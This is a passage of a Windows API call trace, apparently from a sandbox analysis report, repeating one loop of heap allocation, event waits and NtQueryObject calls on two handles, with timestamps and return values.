RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.768] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.769] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.769] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.769] ResetEvent (hEvent=0x110) returned 1 [0259.769] SetEvent (hEvent=0x114) returned 1 [0259.769] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.769] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.769] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.769] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.769] ResetEvent (hEvent=0x110) returned 1 [0259.769] SetEvent (hEvent=0x114) returned 1 [0259.769] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.769] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.769] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.769] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.769] ResetEvent (hEvent=0x110) returned 1 [0259.769] SetEvent (hEvent=0x114) returned 1 [0259.769] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.769] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.770] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.770] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.770] ResetEvent (hEvent=0x110) returned 1 [0259.770] SetEvent (hEvent=0x114) returned 1 [0259.770] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.770] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.770] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.770] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.770] ResetEvent (hEvent=0x110) returned 1 [0259.770] SetEvent (hEvent=0x114) returned 1 [0259.770] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.770] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.770] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.770] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.770] ResetEvent (hEvent=0x110) returned 1 [0259.770] SetEvent (hEvent=0x114) returned 1 [0259.770] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.771] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.771] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.771] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.771] ResetEvent (hEvent=0x110) returned 1 [0259.771] SetEvent (hEvent=0x114) returned 1 [0259.771] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.771] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.771] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.771] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.771] ResetEvent (hEvent=0x110) returned 1 [0259.771] SetEvent (hEvent=0x114) returned 1 [0259.771] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.771] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.771] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.771] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.771] ResetEvent (hEvent=0x110) returned 1 [0259.771] SetEvent (hEvent=0x114) returned 1 [0259.772] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.772] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.772] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.772] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.772] ResetEvent (hEvent=0x110) returned 1 [0259.772] SetEvent (hEvent=0x114) returned 1 [0259.772] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.772] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.772] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.772] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.772] ResetEvent (hEvent=0x110) returned 1 [0259.772] SetEvent (hEvent=0x114) returned 1 [0259.772] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.772] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.772] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.772] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.772] ResetEvent (hEvent=0x110) returned 1 [0259.772] SetEvent (hEvent=0x114) returned 1 [0259.773] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.773] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.773] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.773] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.773] ResetEvent (hEvent=0x110) returned 1 [0259.773] SetEvent (hEvent=0x114) returned 1 [0259.773] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.773] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.773] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.773] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.773] ResetEvent (hEvent=0x110) returned 1 [0259.773] SetEvent (hEvent=0x114) returned 1 [0259.773] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.773] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.773] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.773] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.773] ResetEvent (hEvent=0x110) returned 1 [0259.773] SetEvent (hEvent=0x114) returned 1 [0259.774] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.774] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.774] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.774] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.774] ResetEvent (hEvent=0x110) returned 1 [0259.774] SetEvent (hEvent=0x114) returned 1 [0259.774] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.774] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.774] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.774] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.774] ResetEvent (hEvent=0x110) returned 1 [0259.774] SetEvent (hEvent=0x114) returned 1 [0259.774] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.774] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.774] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.774] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.774] ResetEvent (hEvent=0x110) returned 1 [0259.774] SetEvent (hEvent=0x114) returned 1 [0259.775] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.775] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.775] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.775] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.775] ResetEvent (hEvent=0x110) returned 1 [0259.775] SetEvent (hEvent=0x114) returned 1 [0259.775] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.775] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.775] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.775] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.775] ResetEvent (hEvent=0x110) returned 1 [0259.775] SetEvent (hEvent=0x114) returned 1 [0259.775] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.775] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.775] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.775] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.775] ResetEvent (hEvent=0x110) returned 1 [0259.776] SetEvent (hEvent=0x114) returned 1 [0259.776] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.776] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.776] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.776] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.776] ResetEvent (hEvent=0x110) returned 1 [0259.776] SetEvent (hEvent=0x114) returned 1 [0259.776] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.776] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.776] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.776] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.776] ResetEvent (hEvent=0x110) returned 1 [0259.776] SetEvent (hEvent=0x114) returned 1 [0259.776] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.776] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.776] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.776] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.777] ResetEvent (hEvent=0x110) returned 1 [0259.777] SetEvent (hEvent=0x114) returned 1 [0259.777] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.777] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.777] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.777] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.777] ResetEvent (hEvent=0x110) returned 1 [0259.777] SetEvent (hEvent=0x114) returned 1 [0259.777] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.777] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.777] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.777] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.777] ResetEvent (hEvent=0x110) returned 1 [0259.777] SetEvent (hEvent=0x114) returned 1 [0259.777] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.777] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.777] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.777] NtQueryObject (in: Handle=0x1ac, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.778] ResetEvent (hEvent=0x110) returned 1 [0259.778] SetEvent (hEvent=0x114) returned 1 [0259.780] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.780] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.781] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.781] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.781] ResetEvent (hEvent=0x110) returned 1 [0259.781] SetEvent (hEvent=0x114) returned 1 [0259.781] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.781] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.781] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.781] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.781] ResetEvent (hEvent=0x110) returned 1 [0259.781] SetEvent (hEvent=0x114) returned 1 [0259.781] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.781] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.781] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.781] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.781] ResetEvent (hEvent=0x110) returned 1 [0259.781] SetEvent (hEvent=0x114) returned 1 [0259.782] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.782] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.782] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.782] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.782] ResetEvent (hEvent=0x110) returned 1 [0259.782] SetEvent (hEvent=0x114) returned 1 [0259.782] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.782] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.782] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.782] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.782] ResetEvent (hEvent=0x110) returned 1 [0259.782] SetEvent (hEvent=0x114) returned 1 [0259.782] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.782] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.782] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.782] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.782] ResetEvent (hEvent=0x110) returned 1 [0259.782] SetEvent (hEvent=0x114) returned 1 [0259.783] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.783] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.783] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.783] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.783] ResetEvent (hEvent=0x110) returned 1 [0259.783] SetEvent (hEvent=0x114) returned 1 [0259.783] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.783] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.783] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.783] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.783] ResetEvent (hEvent=0x110) returned 1 [0259.783] SetEvent (hEvent=0x114) returned 1 [0259.783] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.783] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.784] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.784] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.784] ResetEvent (hEvent=0x110) returned 1 [0259.784] SetEvent (hEvent=0x114) returned 1 [0259.784] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.784] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.784] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.784] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.784] ResetEvent (hEvent=0x110) returned 1 [0259.784] SetEvent (hEvent=0x114) returned 1 [0259.784] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.784] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.784] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.784] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.784] ResetEvent (hEvent=0x110) returned 1 [0259.784] SetEvent (hEvent=0x114) returned 1 [0259.785] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.785] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.785] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.785] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.785] ResetEvent (hEvent=0x110) returned 1 [0259.785] SetEvent (hEvent=0x114) returned 1 [0259.785] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.785] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.785] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.785] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.785] ResetEvent (hEvent=0x110) returned 1 [0259.785] SetEvent (hEvent=0x114) returned 1 [0259.785] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.785] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.785] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.785] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.785] ResetEvent (hEvent=0x110) returned 1 [0259.785] SetEvent (hEvent=0x114) returned 1 